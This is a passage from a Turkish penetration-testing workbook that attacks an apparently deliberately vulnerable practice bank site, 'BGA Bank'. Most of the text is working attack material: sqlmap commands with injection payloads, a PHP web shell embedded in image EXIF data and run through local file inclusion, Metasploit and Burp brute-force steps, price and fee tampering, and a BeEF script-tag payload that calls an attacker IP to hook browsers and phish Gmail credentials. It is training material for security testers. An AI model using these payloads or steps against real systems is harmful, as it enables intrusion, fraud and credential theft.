108 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
1) Burp Suite ile araya girilir ve istek repeater’a gönderilir. “ karakteri k1 parametre değerine eklenir ve sonuç gözlemlenir.
Şekil 121. SQL Hatası
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 109
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
2) Tablo 38. deki payloadın sonunda bulunan 2, 3 olarak değiştirildiğinde tekrar hata alındığı görülür. (Şekil 122)
Şekil 122. Order by SQL Hatası
110 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
3) Tablo 38. deki payload aynen denendiğinde hata alınmadığı gözlemlenecektir. Dolayısıyla tabloda 2 kolon olduğu anlaşılacaktır. (Şekil 123)
Şekil 123. Başarılı Order By Denemesi
Yukarıda zafiyet bulunduğunun kesin ispatı yapılmıştır. Aşağıda sqlmap ile istismar için bilgiler yer almaktadır.
1) Gönderilen GET verisi alınarak bir dosyaya kaydedilir.
Gönderilen GET datası
GET /ajax.php?sayfa=haber-‐ver.php&k1=dude%40bga.com.tr HTTP/1.1 Host: isube.bgabank.com User-‐Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0 Accept: text/html, */*; q=0.01 Accept-‐Language: en-‐US,en;q=0.5 Accept-‐Encoding: gzip, deflate Content-‐Type: text/plain; charset:UTF-‐8 X-‐Requested-‐With: XMLHttpRequest Referer: http://isube.bgabank.com/haber-‐ver.aspx Cookie: __cfduid=dcd509ecaf3eaecc65dbb67f0ae8856f61411237618127; PHPSESSID=ktmf596la0v5ihe0b1qjaspd74; guest=FALSE DNT: 1 Connection: keep-‐alive
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 111
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
2) Dosya sqlmap ‘e verilir. Çıktı Tablo 39. daki gibidir. İstismar başarıyla sonuçlanmıştır.
Komut sqlmap.py -‐r ../Desktop/deneme.txt -‐p k1 -‐-‐dbms mysql -‐-‐level 3 -‐-‐risk 3
Çıktı GET parameter 'k1' is vulnerable. Do you want to keep testing the others (if any)? [y/N] sqlmap identified the following injection points with a total of 142 HTTP(s) requests: -‐-‐-‐ Place: GET Parameter: k1 Type: boolean-‐based blind Title: AND boolean-‐based blind -‐ WHERE or HAVING clause Payload: sayfa=haber-‐ver.php&[email protected]" AND 6328=6328 AND "bCdE"="bCdE Type: stacked queries Title: MySQL > 5.0.11 stacked queries Payload: sayfa=haber-‐ver.php&[email protected]"; SELECT SLEEP(5)-‐-‐ Type: AND/OR time-‐based blind Title: MySQL > 5.0.11 AND time-‐based blind Payload: sayfa=haber-‐ver.php&[email protected]" AND SLEEP(5) AND "mabH"="mabH -‐-‐-‐ [20:01:08] [INFO] the back-‐end DBMS is MySQL web server operating system: Linux Ubuntu web application technology: Apache 2.4.7, PHP 5.5.9 back-‐end DBMS: MySQL 5.0.11
Tablo 39. Sqlmap Komutu ve Çıktısı
112 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
41. Haberdar Ol Sayfası Reflected XSS Zafiyeti ve İstismarı İletişim menüsü altında bulunan Haberdar Ol sayfasında bulunun formda XSS zafiyeti mevcuttur. (Şekil 124)
Şekil 124. Haberdar Ol XSS Zafiyeti
İstismar için aşağıdaki adımlar uygulanır.
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 113
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
1) Burp Suite ile araya girilerek istek yakalanır. (Şekil 125)
Şekil 125. Haberdar Ol Sayfası Burp Suite
2) XSS payload girilir ve ilk girildiği için payload hata vermeden veritabanına kaydedilir. (Şekil 126,127)
Şekil 126. XSS Payload
114 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Şekil 127. Veri Tabanı Mail Listesi
3) Aynı payload tekrar gönderilir, payload veritabanında daha önce olduğundan payload sayfada çalışacaktır. (Şekil 128)
Şekil 128. XSS İstismarı
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 115
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
42. Döviz Alma İşleminde Araya Girilerek Döviz Fiyatı Değiştirme Döviz al sayfasında, döviz alınırken araya girilip fiyat değişikliği yapılabiliyor. 20 dolar 1 tl ye alınabiliyor. İşlem adımları aşağıdaki gibidir. İşlem öncesi hesapta 10.000 TL olduğu şekil 129 da görülmektedir.
Şekil 129. Döviz Al Formu
116 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
1) Burp Suite ile araya girilerek istek yakalanır. (Şekil 130)
Şekil 130. İstek
2) k3 parametre değeri 1 tl olarak değiştirilir ve istek gönderilir. (Şekil 131)
Şekil 131. Manipülasyon
İşlem başarılı bir şekilde gerçekleştirilir. (Şekil 132)
Şekil 132. Dönen Cevap
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 117
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Hesaptan sadece 1 tl kesilmiştir. (Şekil 133)
Şekil 133. Sonuç
118 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
43. Tomcat 6 Sistem İfşası Nmap ile http://isube.bgabank.com adresi tarandığında, açık portlar arasında 8080 olduğu görülür. (Şekil 134) 8080 portunda gelende Tomcat kurulu olur.
Şekil 134. Nmap Tomcat
8080 portuna bağlanıldığında şekil 135. de görüldiği gibi tomcat arayüzü gelmektedir.
Şekil 135. Tomcat Web Arayüzü
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 119
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
44. Güvensiz Çıkış Zafiyeti Sisteme normal şekilde giriş yapıldıktan sonra Çıkış seçeneğine tıklandığında sadece menülerin değiştiği, cookie ve session bilgilerinin silinmediği görülmektedir. Normalde çıkış yaptığını sanan bir müşteri, aslında çıkış yapmamıştır.
1) Sisteme normal olarak giriş yapılır. (Şekil 136)
Şekil 136. Giriş ve Cookie Bilgileri
2) Menüdeki çıkış seçeneğine tıklanır. Şekil 137. de sessionid ‘nin silinmediği, sadece guest değerinin değiştiği gözlemlenir.
Şekil 137. Çıkış ve Cookie Bilgileri
120 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
3) Çıkış yapıldığı halde /profil.aspx ‘e müşteri bilgileri görülecektir. (Şekil 138)
Şekil 138. Profil Sayfası
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 121
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
45. User-Agent Bilgisi Değiştirerek Ücretsiz Havale İşlemi Gerçekleştirme
URL http://isube.bgabank.com/havale-‐eft.aspx Tablo 40. Şubeler Sayfası
Havale işlemi yapılırken normal şartlarda, işlem ücreti bakiyeden düşülmektedir. (Şekil 139)
Şekil 139. Normal Havale İşlemi
122 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
User-‐Agent bilgisi değiştirildiğinde, havale işlemi ücretsiz olarak gerçekleşecektir. (Şekil 140) Bu işlem yapılırken, Mozilla Firefox User Agent Switcher eklentisi kullanılmıştır.
Şekil 140. User Agent Bilgisi Değiştirilmiş İşlem Sayfası
Şekil 139. da görülen uyarı, şekil 140. da görülmemektedir. User Agent bilgisi değiştirildiğinde, işlem ücreti alınmamaktadır.
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 123
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
46. LFI ve Dosya Yükleme Zafiyetini Kullanarak Sisteme Shell Yükleme Bu başlıkta Başlık 6 ve Başlık 14 ‘de ki zafiyetler kullanılarak, resim içine gömülen shell kodlarının sisteme nasıl yüklenebileceği ve çalıştırılacağı gösterilecektir. Ayrıntılı adımlar aşağıda belirtilmiştir.
1. Resim exif bilgilerini değiştirmek için gerekli olan herhangi bir araç indirilir. Bu dokümanda ExifTool kullanılmıştır. İndirme adresi tablo 41. de verilmiştir. Kurulum gerektirmemektedir.
URL http://www.sno.phy.queensu.ca/~phil/exiftool/
Tablo 41. ExifTool Adresi
Şekil 141. ExifTool Resim Exif Bilgileri
124 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
2. Shell kodlarının gömülmesi için gereken, rahat yüklenmesi için küçük boyutlu bir resim dosyası seçilir ve tablo 42. deki exiftool komutu ile exif bilgilerine yüklenir. (Şekil 142)
Kod "exiftool(-‐k).exe" -‐comment="<?php echo shell_exec($_POST['load']);?>" profilyok.jpg
Tablo 42. ExifTool Komutu
Şekil 142. Exif Bilgi Değişimi
Upload edilecek resim üzerinde yapılacak işlemler tamamladı.
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 125
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
3. Başlık 14’te anlatılan upload bölümünü kullanarak, yukarıdaki adımlarda exif bilgileri değiştirilen resim sisteme yüklenir. (Şekil 143)
Şekil 143. Resim Sisteme Yüklenir
Resmin yolu sonraki adımlarda gerekli olacağı için, resim yolu, resme sağ tıklayıp (Resim Url’sini Görüntüle) görüntülenebilir. (Şekil 144)
Şekil 144. Resim URL
126 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
URL http://isube.bgabank.com/uploads/11/profilyok.jpg
Tablo 42. Resim Yolu
4. Başlık 6 ‘daki LFI zafiyeti kullanılarak, resim kaynak kodları görüntülenir. (Şekil 145)
URL http://isube.bgabank.com/?sayfa=../../../uploads/11/profilyok.jpg
Tablo 43. LFI URL
Şekil 145. Resmin Kaynak Kodu
Şekil 145. deki hataya bakılırsa, resmin içine gömülen php kodlarının çalıştırıldığı görülür. “load” parametre değeri olarak Linux bash kodları girilebilir. 5. POST metodu ile tablo 44. deki script kullanılarak, sisteme linux komutları gönderilebilir. (Şekil 146)
<?php $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,"http://isube.bgabank.com/?sayfa=../../../uploads/11/deneme.jpg"); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, "load=ls -‐la"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $server_output = curl_exec ($ch); curl_close ($ch); echo $server_output; ?>
Tablo 44. POST Script
NOT: Scriptin çalışması için CURL açık olmalıdır.
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 127
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Şekil 146. Çalıştırılan Linux Listeleme Kodu
128 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
47. Tomcat Metasploit Brute Force Saldırısı Tomcat sistemin ifşası 41. başlıkta yapıldığına göre, metasploit kullanılarak, sisteme brute force saldırısı düzenlenebilir. Geniş wordlist’e sahip olmak, saldırıyı başarılı sonuca bir adım daha yaklaştıracaktır. Saldırı aşağıda adım adım gösterilmiştir.
1. msfconsole açılır ve tablo 45. deki komutlar sırası ile girilir.
Komut 1 use auxiliary/scanner/http/tomcat_mgr_login
Komut 2 set RHOSTS 107.170.157.8
Komut 3 set RPORT 8080
Komut 4 set STOP_ON_SUCCESS true
Komut 6 run (Şekil 148)
Bu aracın diğer özelliklerine ulaşmak için, show options komutu kullanılır. Öntanımlı kelime listesinin yeri de, bu komutun çıktısında yer almaktadır. (Şekil 147)
Şekil 147. Show Options
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 129
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Şekil 148. Metasploit Sonuç
Kullanıcı Adı Tomcat
Şifre bgabank123
130 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
48. Müşteri Girişi Form Tabanlı Brute Force Saldırısı Müşteri giriş panelinde 3. başlıkta anlatılan mobil giriş captcha atlatma tekniği kullanılarak, form brute force saldırısına açık hale getirilir. (Şekil 149)
Şekil 149. Müşteri Giriş Paneli
Burp Suite ile istek yakalanarak, intruder’e gönderilir. (Şekil 150)
Şekil 150. Intruder
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 131
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Pozisyonlar düzenlenir ve ilk parametreden sonraki parametreler silinir. (Şekil 151)
Şekil 151. Positions
Wordlist yüklemek için Payloads sekmesine gidilir. Ardından Payload type kısmından Custom Iterator seçilir. Payload Options bölümünden her pozisyon için gerekli kelime listeleri yüklenir. Seperator for Position 1 için silinen ikinci parametre değeri (&b_password=) girilir. (Şekil 152)
Şekil 152. Payloads
132 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Saldırı başlatılı ve sonuçlar gözlemlenir. Şekil 153. te görüldüğü gibi 23. istekte, cevap olarak diğerlerinden farklı length ve status değerleri dönmüştür. Yani 10000142 numaralı müşterinin şifresi hacked olarak saptanmıştır.
Şekil 153. Intruder Attack
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 133
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
49. OWASP Xenotix XSS Framework Kullanarak XSS Tespiti
URL http://isube.bgabank.com/index.php?sayfa=arama.php&s1=deneme&s2=
İstek GET
Parametre s2
Payload Bilinmiyor (Xenotix ile bulunacak)
Tablo 46. URL
BGA Bank arama kısmına herhangi bir kelime yazılıp aratıldığında, oluşan get isteği tablo 46’da gösterilmiştir. Arama bölümündeki XSS zafiyeti ve istimarı 4. başlıkta anlatılmıştır. XSS zafiyeti olduğu bilindiği halde, payload yazımında zorluk yaşanıyorsa, Xenotix programı kullanılabilir. Tablo 46. daki payloadın Xenotix kullanarak tespit edilmesi aşağıda adım adım anlatılmıştır. 1. Xenotix URL kısmına Tablo 46 ‘daki link girilir. (Şekil 154)
Şekil 154. Xenotix URL
134 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
2. Scanner sekmesinde bulunan Get Request Auto Mode seçeneği seçilir. (Şekil 155) Ardından şekil 156. ‘daki adımlar izlenir (program ilk çalıştırıldığında bir defa yapılır).
Şekil 155. Scanner
Not: Tek tek deneme yapmak için manuan mode seçeneği seçilebilir.
Şekil 156. Server Configuration
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 135
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
3. Şekil 157. de gösterilen pencerede yer alan interval (sec) alanı, payload denenme süre aralığını saniye olarak tanımlar. Yani kullanıcı 3 değerini girerse, 3 saniyede bir payload denenir. Süre aralığı girildikten sonra Start butonuna tıklanır.
Şekil 157. Auto Mode Window
4. Payload şekil 158. deki gibidir. (<marquee/onstart=confirm(1)>)
Şekil 158. Sonuç
136 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
50. XSS Zafiyeti ile Beef Framework Kullanarak Şifre Çalma Senaryosu
Saldırgan IP adresi 172.18.7.105
Kullanıcı IP adresi 172.18.1.127
Tablo 47. IP Bilgileri
Ziyaretçi defterinde yer alan Stored XSS zafiyeti ile Beef Framework kullanılarak, kullanıcı tarayıcısı ele geçirilecek ve sonra olarak, gmail hesap bilgileri sosyal mühendislikle elde edilecektir. Senaryo aşağıda adım adım anlatılmıştır.
1. Saldırgan Beef Control Panel’e erişim sağlar ve kullanıcıya göndereceği linki hazırlar.
beef komutu ile beef framework servisi başlatılır.
Şekil 159. Beef Başlatılır
Gelen Beef FrameWork Control panele kullanıcı adı olarak beef, şifre olarak yine beef girilir.
Şekil 160. Beef Authentication
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 137
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Yukarıdakiler yapıldığında, kontrol paneli şekil 161. deki gibi görünecektir.
Şekil 161. Beef Control Panel
2. BGA Bank ziyaretçi defterinde yer alan stored XSS zafiyeti, tablo 48. deki payload ile istismar edilir. (Şekil 162)
Adres http://isube.bgabank.com/ziyaretcidef.aspx
Payload <script type=text/javascript src=http://172.18.7.105:3000/hook.js></script>
Method POST Tablo 48. Zafiyet Bilgileri
Tablo 48. de payload’da belirtilen adres, saldırganın adresidir.
138 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Şekil 162. Ziyaretçi Defteri
3. Kullanıcıya, ziyaretçi defterinin linki gönderilir ve sosyal mühendislik ile bir şekilde tıklanması sağlanır. (Şekil 163)
Şekil 163. Link Gönderilir
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 139
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
4. Kullanıcı linke tıklar ve Beef Control Panel’de yer alan Online Browsers kısmına, kullanıcının tarayıcısı düşer. (Şekil 164) Kullanıcı tarayıcısı ele geçirilmiştir.
Şekil 164. Online Browsers
140 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
5. Commands sekmesinde bulunan ağaç yapısında sırasıyla, Social Engineering, Google Phishing seçenekleri seçilir ve sağ tarafta yer alan Execute butonuna tıklanır. (Şekil 165)
Şekil 165. Command Executing
6. Kullanıcının tarayıcısı, gmail hesabı açıksa oturumu sonlandırır ve kullanıcıyı gmail giriş sayfasına yönlendirir. Kullanıcı bilgilerini girer. (Şekil 166)
Şekil 167. Gmail Giriş Sayfası
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 141
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
7. Gmail hesabı ve şifresini, saldırgan beef control panel’de ilgili komutun üzerine tıklayarak, öğrenebilir. (Şekil 168)
Şekil 168. Beef Sonuç
142 BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
51. Nmap Kullanarak PortSpoof Tespiti
URL http://ipstest.bgabank.com/
Komut nmap -‐sV ipstest.bgabank.com
Tablo 49. Nmap Bilgileri Portspoof’un temel amacı, çeşitli teknikler kullanarak işletim sisteminin güvenliğini sağlamaktır. Tüm portları açık olarak göstermesinin yanında, herbir porta servis servis ataması da yapmaktadır. Böylece sistemde port ve servis tarama yapan saldırgan, hem yavaşlatılacak hem de gerçekten açık olan portları görebilmesi engellenecektir.
Tablo 49. daki işletim sistemine, portspoof kurulmuştur. Bu adrese tabloda bellirtilen nmap komutu ile tarama yapıldığında, tüm portların açık ve bir servise ait olduğu görülecektir. (Şekil 169)
BGA BANK WEB GÜVENLIK TESTLERI UYGULAMA KITABı 143
BİLGİ GÜVENLİĞİ AKADEMİSİ |© 2015 | www.bga.com.tr
Şekil 169. Nmap Tarama